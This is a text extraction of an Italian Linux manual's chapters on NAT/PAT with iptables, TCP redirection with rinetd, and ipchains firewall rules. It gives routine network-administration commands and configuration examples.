Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and...

250
Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and Proxy Server HOWTO <http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html> • Peter Bieringer, Linux IPv6 HOWTO <http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html> Appunti di informatica libera 2003.01.01 --- Copyright © 2000-2003 Daniele Giacomini -- daniele @ swlibero.org

Transcript of Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and...

Page 2: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 178

Kernel Linux 2.4: NAT/PATIl kernel Linux 2.4.* , assieme alla gestione del filtro dei pacchetti IP, può occuparsi anche dellatrasformazione degli indirizzi e delle porte, ovvero del NAT/PAT. Ciò consente, tra le altre cose,di ottenere ilmascheramento IP e la gestione delproxy trasparente.

È molto probabile che queste funzionalità siano disponibili solo per i protocolli IPv4.

178.1 Struttura e punti di intervento

La gestione NAT/PAT può essere applicata in tre punti, denominati‘PREROUTING’ ,‘POSTROUTING’ e ‘OUTPUT’ .

Figura 178.1. Punti di intervento per la gestione del NAT/PAT e influenza relativa..--------------. .--------------.| PREROUTING | | POSTROUTING |

Ingresso ------>| NAT sulla | .------->| NAT |-----------> Uscita| destinazione | | | sull’origine |‘--------------’ | ‘--------------’

| || |V |

Instradamento------’| ^ .--------------.| | | OUTPUT || ‘-------------| NAT sulla || | destinazione |V ‘--------------’

Processi locali ^||

Processi locali

Il ‘PREROUTING’ si riferisce a una posizione ideale che precede l’instradamento da parte dell’e-laboratore. In questa posizione è possibile modificare gli indirizzi di destinazione, in modo chel’instradamento possa avvenire correttamente in base a tali trasformazioni.

Il ‘POSTROUTING’ si riferisce a una posizione ideale successiva all’instradamento da partedell’elaboratore. In questa posizione è possibile modificare gli indirizzi di origine.

Il punto denominato‘OUTPUT’ si riferisce ai pacchetti generati da un processo locale. Questivengono vagliati successivamente anche dal punto‘POSTROUTING’ ; a ogni modo si può gestiresolo la trasformazione degli indirizzi di destinazione.

178.2 Gestione con IPTables

La configurazione della trasformazione degli indirizzi avviene per mezzo diIPTables,intervenendo nella tabella‘nat ’ :

iptables -t nat opzione_di_comando punto_di_intervento regola obiettivo_di_trasformazione

Le opzioni di comando sono le stesse che si utilizzano per la gestione del filtro dei pacchettiIP. Anche in questo caso è prevista la presenza di una politica predefinita, dove la parola chiave‘ACCEPT’ serve a specificare l’assenza di trasformazioni. In condizioni normali, la tabella risultavuota, come si vede nell’esempio seguente:

1986

Page 3: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.4: NAT/PAT 1987

# iptables -t nat -L [ Invio ]

Chain PREROUTING (policy ACCEPT)target prot opt source destination

Chain POSTROUTING (policy ACCEPT)target prot opt source destination

Chain OUTPUT (policy ACCEPT)target prot opt source destination

Sono disponibili le opzioni che identificano il protocollo, gli indirizzi, le porte e le interfacce direte, come già avviene nell’utilizzo diIPTables per la gestione del filtro IP.

178.3 Modifica dell’origine

Per comprendere il significato della trasformazione degli indirizzi di origine, conviene fare rife-rimento a un esempio, come si vede nella figura178.2. In questo caso, il NAT si trova collegatoa una rete privata, in cui si usano indirizzi 192.168.1.* , mentre dalla parte connessa alla re-te esterna, dispone di quattro indirizzi validi: 1.2.3.4, 1.2.3.5, 1.2.3.6, 1.2.3.7. Per consentire icollegamenti che partono dalla rete interna a quella esterna, il NAT deve sostituire gli indirizzidi origine utilizzando convenientemente i quattro indirizzi di cui dispone. Naturalmente, i quat-tro indirizzi in questione corrispondono tutti alla stessa interfaccia ed esistono gli instradamentinecessari dalla rete esterna a questi indirizzi.

Figura 178.2. Modifica degli indirizzi di origine.

1.2.3.4 .---------------.1.2.3.5 | | Rete privata 192.168.1.*

- - - ------------------| N A T |-------*-----------*-------- - - -Rete pubblica 1.2.3.6 | | | |(Internet) 1.2.3.7 ‘---------------’ .--------. .--------.

| host | | host |‘--------’ ‘--------’

Per raggiungere questo risultato, si può utilizzare il comando seguente, supponendo che‘eth0 ’sia l’interfaccia a cui fanno riferimento i quattro indirizzi IP validi per la rete esterna:

# iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source ←→1.2.3.4-1.2.3.7

# iptables -t nat -L POSTROUTING

Chain POSTROUTING (policy ACCEPT)target prot opt source destinationSNAT all -- anywhere anywhere to:1.2.3.4-1.2.3.7

Come si può osservare, per ottenere la trasformazione degli indirizzi di origine viene utilizzatol’obiettivo di trasformazione‘SNAT’ , che implica l’uso di un’opzione aggiuntiva:

--to-source indirizzo_ip[ - indirizzo_finale][ : porta_iniziale- porta_finale]--to indirizzo_ip[ - indirizzo_finale][ : porta_iniziale- porta_finale]

Come si intende dal modello sintattico, è possibile aggiungere l’indicazione di un intervallodi porte da utilizzare per la trasformazione. In generale, non mettendo questa informazione, latrasformazione delle porte avviene in modo corretto.

Questo tipo di trasformazione precisa degli indirizzi di origine si presta per le situazioni in cuil’interfaccia di rete collegata alla rete esterna ha uno o più indirizzi IP statici da poter mostrare.In alternativa, quando si può disporre soltanto di un indirizzo dinamico, come avviene nelleconnessioni PPP comuni, conviene usare l’obiettivo‘MASQUERADE’ .

Page 4: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

1988 Kernel Linux 2.4: NAT/PAT

Figura 178.3. Mascheramento IP.

Indirizzo IP .---------------.dinamico | | Rete privata 192.168.1.*

- - - ------------------| N A T |-------*-----------*-------- - - -Rete pubblica | | | |(Internet) ‘---------------’ .--------. .--------.

| host | | host |‘--------’ ‘--------’

Seguendo l’esempio della figura178.3, supponendo che l’interfaccia di rete collegata all’esternosia ‘ppp0 ’ , si procede nel modo seguente:

# iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE

# iptables -t nat -L POSTROUTING

Chain POSTROUTING (policy ACCEPT)target prot opt source destinationMASQUERADE all -- anywhere anywhere

Si intende che la sostituzione dell’origine si gioca su un indirizzo IP unico, gestendo convenien-temente le porte TCP e UDP. Pertanto, l’indirizzo in questione è implicitamente quello di cuidispone l’interfaccia di rete, che così può essere dinamico.

178.4 Modifica della destinazione

La modifica della destinazione si definisce con l’obiettivo‘DNAT’ , che può intervenire nel punto‘PREROUTING’ , oppure nei pacchetti generati localmente. Questo tipo di sostituzione serve perdirottare i pacchetti, per qualche motivo.

Figura 178.4. Il NAT/PAT trasferisce le connessioni dirette a 123.122.121.120:80 a192.168.7.7:80.

.-------------.Rete pubblica eth0 | |------------------------------->| N A T |

123.122.121.120:80 | |‘-------------’

| ^Rete locale - - - | | - - -

| | .------------.| ‘---------| servente |‘----------->| HTTP |

192.168.7.7:80 | reale |‘------------’

La figura178.4mostra una situazione in cui viene collocato unservente HTTP in una rete localecon indirizzi privati, mentre si vuole fare in modo che all’esterno appaia collocato all’interno delrouter che svolge il ruolo di NAT. Per realizzare in pratica questa cosa, si può usare il comandoseguente:

# iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth0 ←→-j DNAT --to-destination 192.168.7.7

# iptables -t nat -L PREROUTING

Chain PREROUTING (policy ACCEPT)target prot opt source destinationDNAT tcp -- anywhere anywhere tcp ←→dpt:www to:192.168.1.7

Come si può vedere dall’esempio, l’obiettivo di trasformazione‘DNAT’ implica l’uso diun’opzione aggiuntiva:

Page 5: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.4: NAT/PAT 1989

--to-destination indirizzo_ip[ - indirizzo_finale][ : porta_iniziale- porta_finale]--to indirizzo_ip[ - indirizzo_finale][ : porta_iniziale- porta_finale]

Come si intende dal modello sintattico, è possibile aggiungere l’indicazione di un intervallodi porte da utilizzare per la trasformazione. In generale, non mettendo questa informazione, latrasformazione delle porte avviene in modo corretto.

Nelle situazioni più comuni, modificando la destinazione si indica un solo indirizzo edeventualmente una sola porta.

Un’altra situazione tipica è quella rappresentata dall’esigenza di ridirigere il traffico diretto a unacerta porta, verso una porta differente di un certo nodo, nel quale esiste probabilmente unacacheproxy (che ovviamente deve essere configurato correttamente per gestire tale situazione).

Figura 178.5. Realizzazione di un proxy trasparente per una rete locale..---------------.

eth0 | Proxy | eth1 Rete privata 192.168.1.*- - - ------------------| trasparente |----------------*-----------*- - - -Rete esterna 1.2.3.4 | | 192.168.1.1 | |

‘---------------’ .--------. .--------.| host | | host |‘--------’ ‘--------’

Supponendo di gestire una rete locale simile a quella che si vede nella figura178.5, si vuole farein modo che tutte le richieste di accesso a servizi HTTP, da parte della rete locale, siano dirottativerso il proxy, collocato nello stesso elaboratore che ospita il NAT, alla porta 8080 (si parla inquesto caso diproxy trasparente).

# iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth1 ←→-j DNAT --to-destination 192.168.1.1:8080

In questo caso particolare, dal momento che si vuole intervenire nello stesso elaboratore cheospita sia il NAT che il servizioproxy, è possibile utilizzare l’obiettivo speciale‘REDIRECT’ , cherichiede l’indicazione dell’opzione‘ --to-port ’ :

--to-port porta

--to porta

L’esempio precedente potrebbe quindi essere semplificato nel modo seguente:

# iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth1 ←→-j REDIRECT --to-port 8080

# iptables -t nat -L PREROUTING

Chain PREROUTING (policy ACCEPT)target prot opt source destinationREDIRECT tcp -- anywhere anywhere tcp ←→dpt:www redir ports 8080

Il cambiamento della destinazione per quanto riguarda i pacchetti generati dalle applicazioni lo-cali (interne al NAT), funziona nello stesso modo, ma è meno probabile la necessità di intervenirein questo modo.

Page 6: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

1990 Kernel Linux 2.4: NAT/PAT

178.4.1 Sistemazione del programma che funge da proxy

Perché ilproxy trasparente funzioni non è sufficiente il dirottamento dei pacchetti attraversoIPTables, anche il programma che gestisce ilproxy deve poi essere in grado di gestire la cosa.

Attualmente, se si utilizzaApache non dovrebbe essere necessaria alcuna modifica nella suaconfigurazione, mentre nel caso diSquid sono indispensabili le due direttive seguenti, che vannocollocate nel file‘ /etc/squid.conf ’ (vengono lasciati i commenti originali del sorgente diquesto file).

# HTTPD-ACCELERATOR OPTIONS#-----------------------------------------------------------------------------

# TAG: httpd_accel# If you want to run squid as an httpd accelerator, define the# host name and port number where the real HTTP server is.## If you want virtual host support then specify the hostname# as "virtual".#httpd_accel virtual 80

# TAG: httpd_accel_with_proxy# If you want to use squid as both a local httpd accelerator# and as a proxy, change this to ’on’.#httpd_accel_with_proxy on

178.5 Riferimenti

• Rusty Russell,Linux 2.4 NAT HOWTO

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

• Terry Dawson,Linux NET-3-HOWTO, Linux Networking

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

• Mark Grennan,Firewalling and Proxy Server HOWTO

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 7: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 179

Ridirezione del traffico IP senza l’ausilio delkernelNel momento in cui nella rete si inseriscono deinodi intermediari, come ifirewall, diventa inte-ressante la possibilità di ridirigere il traffico IP. In questo capitolo si vuole mostrare come agirequando tale funzionalità non può essere gestita dalkernel.

L’idea alla base di questo concetto è quella di poter trasferire un servizio presso unnodo diver-so da quello che appare nelle richieste deiclienti, soprattutto quando questonodo nuovo nonpotrebbe essere raggiungibile direttamente.

Figura 179.1. il nodo «A» ridirige il traffico diretto a lui, nella porta 80 (HTTP), verso ilnodo «B», alla stessa porta 80.

.------------.Rete | nodo A |------------------------------->| |

192.168.1.1:80 | router |‘------------’

| ^| || | .------------.| ‘---------| |‘----------->| nodo B |

192.168.7.7:80 | |‘------------’

179.1 Conseguenze

La ridirezione del traffico IP non appare in modo manifesto: ilcliente che accede al serviziointrattiene una connessione con ilrouter che ridirige il traffico, senza potersi rendere conto diquesto fatto; nello stesso modo, ilservente viene interpellato dalrouter, che a lui appare essere ilcliente.

Il meccanismo permette la gestione di servizi all’interno di una retemascherata, che in generalenon risulta raggiungibile all’esterno. In tal caso, ilfirewall utilizzato per gestire ilmascheramento,è il router che può ridirigere alcuni servizi all’interno della retemascherata. La figura179.2dovrebbe chiarire il concetto.

Figura 179.2. Il nodo «A» funge da firewall di mascheramento e invece di forniredirettamente il servizio HTTP (80), si avvale di un nodo collocato nella rete localemascherata.

.-------------.Rete pubblica | nodo A |------------------------------->| firewall di |

123.122.121.120:80 |mascheramento|‘-------------’

| ^Rete locale - - - | | - - -mascherata | | .------------.

| ‘---------| |‘----------->| nodo B |

192.168.7.7:80 | |‘------------’

Naturalmente, questo sistema di ridirezione può essere sfruttato anche da persone in mala fede,per ridirigere il traffico che transita attraverso unrouter di loro competenza. Gli scopi per questotipo di comportamento possono essere vari, senza che ci sia bisogno di spiegarlo.

1991

Page 8: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

1992 Ridirezione del traffico IP senza l’ausilio del kernel

È importante sottolineare che la ridirezione può riguardare tutto il traffico in transito attraversoun router. Con questo si intende che si può ridirigere una certa porta di un certo indirizzo IP,anche se questo indirizzo non appartiene alle interfacce delrouter.

179.2 Rinetd

Il pacchettoRinetd1 permette di ridirigere una destinazione TCP, definita attraverso una coppiaindirizzo_ip:numero_di_porta, presso un’altra coppia di questi valori. Lo scopo può essere sem-plicemente quello di dirigere una porta locale verso un’altra porta locale, oppure si può arrivare aintercettare il traffico IP che attraversa unrouter in modo da ridirigere alcune coppie di indirizzie porte presso altre destinazioni.

Tutto è composto semplicemente da un demone,‘ rinetd ’ , che si avvale di un file di con-figurazione, ‘ /etc/rinetd.conf ’ , nel quale si indicano semplicemente le ridirezioni daapplicare.

La presenza in funzione del demone‘ rinetd ’ è incompatibile con altri demoni in ascolto dellestesse porte che devono essere ridirette, anche se queste sono intese appartenere anodi differenti.

Rinetd non è in grado (attualmente) di annotare nelregistro del sistema il traffico ridiretto.Questo può costituire un problema, dal momento che sia inodi che richiedono il servizio, diquelli che lo offrono veramente, non possono avere le informazioni relative alle connessioniintrattenute realmente.

‘ rinetd ’ è il demone che si occupa di ridirigere il traffico TCP in base a quanto contenuto nelfile di configurazione‘ /etc/rinetd.conf ’ :

rinetd

È sufficiente avviarlo; se il file di configurazione è corretto, inizia il suo lavoro. All’avvio, dopoaver letto la configurazione,‘ rinetd ’ deve poter stare in ascolto dell’indirizzo da ridirigere edella porta relativa. Qualunque sia l’indirizzo in questione, è necessario che non ci sia già unprogramma locale che fa la stessa cosa su quella stessa porta; per esempio, non si può tentare diridirigere il servizio HTTP di un indirizzo qualunque, se questo è presente localmente.

Il sintomo di questo tipo di errore è dato da un messaggio del tipo:‘Couldn’t bind to

address indirizzo_da_ridirigere port porta_da_ridirigere’ .

Il file ‘ /etc/rinetd.conf ’ permette di definire la ridirezione del traffico TCP attuata da‘ rinetd ’ . Il file può contenere commenti, introdotti dal simbolo‘#’ e conclusi dalla fine del-la riga; inoltre possono apparire righe vuote o bianche, che vengono ignorate, come i commenti.Le altre righe vengono trattate come direttive, interpretate secondo la sintassi seguente:

ip_destinazione porta_destinazione ip_nuova_destinazione porta_nuova_destinazione

Un esempio dovrebbe essere sufficiente a chiarire l’utilizzo di questo file. Si suppone di volerdirottare il traffico diretto verso l’indirizzo IP 120.121.122.123 alla porta 80, in modo che questovada verso l’indirizzo IP 192.168.1.7, alla porta 80.

120.121.122.123 80 192.168.1.7 80

Se la cosa può risultare preferibile, sia i numeri di porta che gli indirizzi IP possono esseresostituiti con nomi equivalenti. Nell’esempio seguente si lasciano gli indirizzi IP e si indicano iservizi per nome.

1Rinetd GNU GPL

Page 9: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Ridirezione del traffico IP senza l’ausilio del kernel 1993

120.121.122.123 html 192.168.1.7 html

L’indirizzo da ridirigere, può appartenere a un’interfaccia delnodo presso cui si trova in fun-zione il demone‘ rinetd ’ , oppure no, purché i pacchetti diretti a tale indirizzo transitinoattraverso ilnodo che attua la ridirezione.

Se si vuole apprendere il funzionamento diRinetd senza disporre di una rete vera e propria, bastauna direttiva di configurazione simile a quella seguente:

localhost 9999 localhost html

In questo modo, la porta locale 9999 viene ridiretta sulla porta del servizio HTTP (80). Se il ser-vizio HTTP è attivo, si può verificare la ridirezione con un programma di navigazione qualunque,puntando all’URIhttp://localhost:9999 .

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 10: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 180

Kernel Linux 2.2: firewall e mascheramento IPLe funzionalità difirewall e dimascheramento IP, essendo incorporate nelkernel, devono essereabilitate prima della compilazione (sezione29.2.9).

È importante osservare che quando si utilizza il sistema del filtro di pacchetto IP, è necessarioconsentire il transito dei pacchetti attraverso ilfirewall, abilitando in pratica le funzionalità diinoltro dei pacchetti (forwarding/gatewaying) come nel caso di unrouter normale. Una voltainserita nelkernel la funzionalità diforwarding/gatewaying, questa può essere controllata attra-verso un file delfile system virtuale‘ /proc/ ’ . Generalmente, tale funzionalità viene disabili-tata espressamente, per motivi di sicurezza, dallaprocedura di inizializzazione del sistema. Perriattivare l’inoltro tra le interfacce di rete, si può agire nel modo seguente:

# echo 1 > /proc/sys/net/ipv4/ip_forward

180.1 Schema generale di funzionamento del kernel

Gli elementi delkernel che si occupano delle funzionalità di filtro IP sono definiteIP chain.Si distinguono trepunti di controllo (chain): uno in ingresso, uno di inoltro e uno in uscita. Aseconda delle circostanze, un pacchetto IP può essere sottoposto alla verifica di uno o più diquestipunti di controllo, che vengono programmati in base a delleregole. Quando un pacchettosottoposto a controllo corrisponde a una regola, la sua sorte viene definita dall’obiettivodi questa(ammesso che sia stato definito).

Figura 180.1. Schema dei punti di controllo della gestione del kernel Linux 2.2.* .

.-------------. .-------------. .-------------.| Ingresso | | Inoltro | | Uscita || | | | | || Regole per | | Regole per | | Regole per || l’ingresso | | l’attraver- | | l’uscita || dei | | samento dei | | dei || pacchetti | | pacchetti | | pacchetti || | | | | || | | | | || Politica | | Politica | | Politica || predefinita | | predefinita | | predefinita |‘-------------’ ‘-------------’ ‘-------------’

Un pacchetto proveniente da un’interfaccia qualunque, diretto allo stessofirewall o passante perquesto, è soggetto al controllo di ingresso; un pacchetto passante, dopo il controllo di ingressoviene sottoposto al controllo di inoltro; un pacchetto che deve uscire attraverso un’interfacciadel firewall è sottoposto al controllo di uscita. In pratica, i pacchetti che devono attraversare ilfirewall sono sottoposti a tutti ipunti di controllo in questa sequenza.

Quando un pacchetto IP è sottoposto al vaglio di unpunto di controllo e all’interno di questo nonc’è alcuna regola che lo prenda in considerazione, la sua sorte è stabilita dallapolitica predefinita(policy) per quel filtro. Generalmente, questa politica è tale per cui gli viene concesso il transito.

1994

Page 11: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.2: firewall e mascheramento IP 1995

180.2 ipchains per l’amministrazione del firewall

La gestione del filtro di pacchetto IP delkernel deve essere regolata in qualche modo, cosache avviene attraverso il programma‘ ipchains ’ . Dal momento che le funzionalità difirewalldel kernel sono piuttosto estese, la sintassi di questo programma è molto articolata e se ne puòapprendere l’utilizzo solo gradualmente.

‘ ipchains ’ interviene su unelenco di regoleriferite alle funzionalità difirewall delkernel; unpo’ come avviene con la tabella degli instradamenti di unrouter. L’ordine in cui sono elencatetali regole è importante, quindi si deve poter distinguere tra l’inserimento di una regola all’inizio,alla fine o in un’altra posizione dell’elenco esistente.

Salvo eccezioni particolari, che verranno descritte nel contesto opportuno, la sintassi di massimaper l’utilizzo di ‘ ipchains ’ è quella seguente:

ipchains opzione_di_comando punto_di_controllo[ regola] [ obiettivo]

L’opzione di comando serve a stabilire il tipo di intervento nel sistema di gestione delfirewall.L’elenco seguente si riferisce alle opzioni che permettono la cancellazione o l’inserimento delleregole in unpunto di controllo:

• -F | --flush

elimina tutte le regole delpunto di controllo specificato;

• -D | --delete

elimina una o più regole dalpunto di controllo specificato;

• -A | --append

aggiunge una regola in coda a quelle delpunto di controllo selezionato;

• -I | --insert

inserisce una regola in una posizione stabilita delpunto di controllo selezionato;

• -R | --replace

sostituisce una regola delpunto di controllo selezionato.

Altre opzioni non modificano le regole; in particolare:

• -L | --list

elenca le regole di un uno o di tutti ipunti di controllo;

• -P | --policy

cambia la politica predefinita per ilpunto di controllo specificato;

Altre opzioni verranno mostrate quando sarà più opportuno.

Il punto di controllo viene indicato attraverso un nome. Si tratta di‘ input ’ , ‘ forward ’ e‘output ’ , che intuitivamente fanno riferimento all’ingresso, all’inoltro e all’uscita.

Page 12: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

1996 Kernel Linux 2.2: firewall e mascheramento IP

Il programma‘ ipchains ’ permette di gestire delle regole all’interno di contenitori aggiuntivia cui si fa riferimento a partire da regole inserite neipunti di controllo normali. Nella termi-nologia di ‘ ipchains ’ si parla sempre dichain, sia per indicare ipunti di controllo, sia perindicare questi elenchi di regole aggiuntive.

Infine, una regola comune è conclusa con l’indicazione di un obiettivo. L’obiettivo è la defini-zione della sorte da dare al pacchetto intercettato, indicata attraverso una parola chiave. Le piùimportanti per iniziare ad apprendere la configurazione delfirewall sono:‘ACCEPT’ , ‘DENY’ e‘REJECT’ .

• ACCEPT

consente il transito del pacchetto;

• DENY

impedisce il transito del pacchetto, limitandosi a ignorarlo;

• REJECT

impedisce il transito del pacchetto notificando all’origine il rifiuto (viene inviato unmessaggio ICMP specificante che il pacchetto è stato rifiutato).

Esempiipchains -A input regola -j DENY

Lo schema mostra l’aggiunta di una regola di ingresso, non meglio definita, per la qualeviene applicato l’obiettivo‘DENY’ .

ipchains -R input 1 regola -j DENY

Lo schema mostra la sostituzione della prima regola di ingresso con un’altra regola nonmeglio definita, per la quale viene applicato l’obiettivo‘DENY’ .

ipchains -I input 1 regola -j ACCEPT

Lo schema mostra l’inserimento nella prima posizione di una regola di ingresso per la qualeviene consentito il transito dei pacchetti (‘ACCEPT’).

# ipchains -D input 2

Questo comando elimina la seconda regola di ingresso.

# ipchains -F input

Questo comando elimina tutte le regole di ingresso.

# ipchains -F

Questo comando elimina tutte le regole di tutti ipunti di controllo.

# ipchains -P input DENY

Cambia la politica predefinita di ingresso specificando che, in mancanza di regole, ipacchetti devono essere bloccati.

Page 13: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Kernel Linux 2.2: firewall e mascheramento IP 1997

180.2.1 Opzioni di contorno

Prima di affrontare l’analisi delle regole che possono essere inserite neipunti di controllo delfirewall, è meglio descrivere subito l’utilizzo di alcune opzioni di contorno che hanno un’impor-tanza minore, oppure che si possono utilizzare indipendentemente dal tipo di protocollo a cui sifa riferimento con una regola.

Opzioni

-v | --verbose

Questa opzione si utilizza generalmente assieme all’opzione di comando‘ -L ’ , allo scopodi rendere più dettagliata l’informazione che si ottiene.

-n | --numeric

Quando‘ ipchains ’ viene usato per ottenere delle informazioni, con questa opzione si fa inmodo che gli indirizzi numerici non siano convertiti in nomi. Ciò può essere utile per evitarel’attesa di una risoluzione da parte del sistema DNS che potrebbe essere inaccessibile.

-p [ ! ] tcp | udp| icmp | all

--protocol [ ! ] tcp | udp| icmp | all

Stabilisce il tipo di protocollo della regola che viene definita. La parola chiave‘all ’ rappre-senta qualsiasi protocollo ed è l’impostazione predefinita se questo non viene specificato.Le parole chiave che identificano i protocolli possono essere espresse anche attraverso let-tere maiuscole. Il punto esclamativo, se utilizzato, serve a fare riferimento a tutti i protocollifuorché quello indicato.

-l | --log

Questa è un’opzione che si utilizza nella dichiarazione di una regola e serve a richiederel’annotazione nelregistro del sistema di ogni pacchetto che corrisponda alla regola stessa.È evidente che si tratta di una possibilità da usare per compiere delle verifiche solo quandone esiste la necessità.

-i [ ! ] interfaccia

--interface [ ! ] interfaccia

Questa è un’opzione che si utilizza nella dichiarazione di una regola e serve a indicare ilnome dell’interfaccia di rete attraverso la quale sono ricevuti o inviati i pacchetti della rego-la che si sta definendo. Quando questa opzione non viene usata, si intende fare riferimentoimplicitamente a qualunque interfaccia di rete.

-j obiettivo

--jump obiettivo

Questa è un’opzione che si utilizza nella dichiarazione di una regola e serve a definire l’o-biettivo, attraverso una parola chiave tra quelle consuete, oppure il riferimento a un gruppodi regole creato a parte.

Esempi

# ipchains -L input -v

Elenca le regole di ingresso in modo dettagliato.

# ipchains -L output -n

Elenca le regole di uscita senza tradurre gli indirizzi in nomi.

Page 14: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

1998 Kernel Linux 2.2: firewall e mascheramento IP

ipchains -A punto_di_controllo regola -l -j DENY

Lo schema mostra l’indicazione di una regola non meglio definita, con la quale di voglio-no intercettare dei pacchetti da bloccare (l’obiettivo è‘DENY’). Questi pacchetti, anche sevengono bloccati, sono annotati nelregistro del sistema.

ipchains -A punto_fi_controllo regola -i eth0 -j DENY

Lo schema mostra l’aggiunta in coda di una regola non meglio identificata, nella quale vienespecificato in particolare che deve riferirsi al traffico entrante o uscente dall’interfaccia‘eth0 ’ . Per i pacchetti che vengono intercettati dalla regola, viene applicato l’obiettivo‘DENY’ .

ipchains -A punto_di_controllo -p tcp regola -i eth0 -j DENY

Lo schema mostra l’aggiunta in coda di una regola non meglio identificata, nella quale vienespecificato in particolare che deve riferirsi al traffico TCP entrante o uscente dall’interfaccia‘eth0 ’ . Per i pacchetti che vengono intercettati dalla regola, viene applicato l’obiettivo‘DENY’ .

ipchains -A punto_di_controllo -p ! tcp regola -i ! eth0 -j DENY

Lo schema mostra l’aggiunta in coda di una regola non meglio identificata, nella qualeviene specificato in particolare che deve riferirsi a tutto il traffico che non sia TCP, entranteo uscente da un’interfaccia qualunque purché non sia‘eth0 ’ . Per i pacchetti che vengonointercettati dalla regola, viene applicato l’obiettivo‘DENY’ .

180.2.2 Regole che non fanno riferimento a un protocollo

Le regole che non indicano un protocollo particolare possono servire esclusivamente a in-dividuare il traffico riferito a un’origine e a una destinazione, con l’indicazione eventualedell’interfaccia:

[ -p all ] [ -s [ ! ] origine] [ -d [ ! ] destinazione] [ -i interfaccia]

Come si vede dallo schema, si possono utilizzare le opzioni‘ -s ’ e ‘ -d ’ per indicare rispettiva-mente l’origine e la destinazione di un pacchetto. In aggiunta, si potrebbe inserire l’indicazionedi una certa interfaccia attraverso cui i pacchetti vengono ricevuti o trasmessi; inoltre, volendoindicare espressamente che non si fa riferimento a un protocollo particolare, si può aggiungerel’opzione ‘ -p ’ con l’argomento‘all ’ .

La definizione di un gruppo di indirizzi IP può essere fatta attraverso l’indicazione di una coppianumero_ip/maschera, con una barra obliqua di separazione tra i due. La maschera può essereindicata nel modo consueto, oppure con un numero che esprime la quantità di bit iniziali da porreal valore uno.

Quando si vuole fare riferimento a indirizzi imprecisati, si utilizza solitamente l’indirizzo 0.0.0.0,che può essere indicato anche con un solo zero; questo si abbina di solito alla maschera nulla:0.0.0.0/0 o 0/0. Tuttavia, per fare riferimento a qualunque indirizzo, è sufficiente omettere la suaindicazione, in pratica basta fare a meno di indicare l’opzione‘ -s ’ o ‘ -d ’ .

L’indicazione di un indirizzo può essere fatta utilizzando direttamente il nome di dominio cor-rispondente, ma questo richiede la disponibilità di un servizio DNS; ciò può essere convenientequando si tratta di unfirewall connesso stabilmente con la rete esterna, altrimenti si creerebberodelle attese inutili e fastidiose, nel tentativo di risolvere dei nomi che non sono di competenzadelle zone locali. Pertanto, in generale è preferibile indicare indirizzi in forma numerica.

Il punto esclamativo che può essere inserito facoltativamente di fronte all’indicazione di un indi-rizzo IP, o di un gruppo di indirizzi, rappresenta la negazione logica e serve a fare riferimento algruppo di indirizzi complementare.

